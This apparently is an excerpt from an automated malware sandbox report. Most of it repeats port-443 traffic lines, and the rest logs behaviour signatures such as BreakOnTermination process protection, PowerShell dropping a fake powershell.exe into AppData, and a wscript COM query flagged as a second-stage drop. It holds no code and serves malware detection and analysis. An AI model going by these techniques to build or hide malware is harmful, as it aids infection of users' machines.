Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50752
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50768
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50762
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50761
Source: unknown	Network traffic detected: HTTP traffic on port 50337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50763
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50705
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50708
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50717
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50716
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50719
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50718
Source: unknown	Network traffic detected: HTTP traffic on port 50808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 50865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 50771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50727
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50720
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 50369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50337
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50339
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 50632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 50873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50335
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50334
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 50505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50342
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50344
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50343
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 50673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50359
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50358
Source: unknown	Network traffic detected: HTTP traffic on port 50804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50351
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50350
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50353
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50355
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50357
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50356
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50360
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50369
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 50685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50361
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50365
Source: unknown	Network traffic detected: HTTP traffic on port 50897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50367
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50370
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50778
Source: unknown	Network traffic detected: HTTP traffic on port 50571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50774
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50789
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50780
Source: unknown	Network traffic detected: HTTP traffic on port 50702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50300
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50785
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 50791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50319
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50313
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50797
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50796
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 50828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 50746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50549 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50257
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 50848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 50639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50271
Source: unknown	Network traffic detected: HTTP traffic on port 50677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50279
Source: unknown	Network traffic detected: HTTP traffic on port 50836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50281
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50283
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50282
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50285
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50284
Source: unknown	Network traffic detected: HTTP traffic on port 50689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50288
Source: unknown	Network traffic detected: HTTP traffic on port 50893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50290
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50292
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50294
Source: unknown	Network traffic detected: HTTP traffic on port 50799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50293
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50627 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50357 -> 443

Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49735 version: TLS 1.2

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information set: 01 00 00 00

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\powershell.exe

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

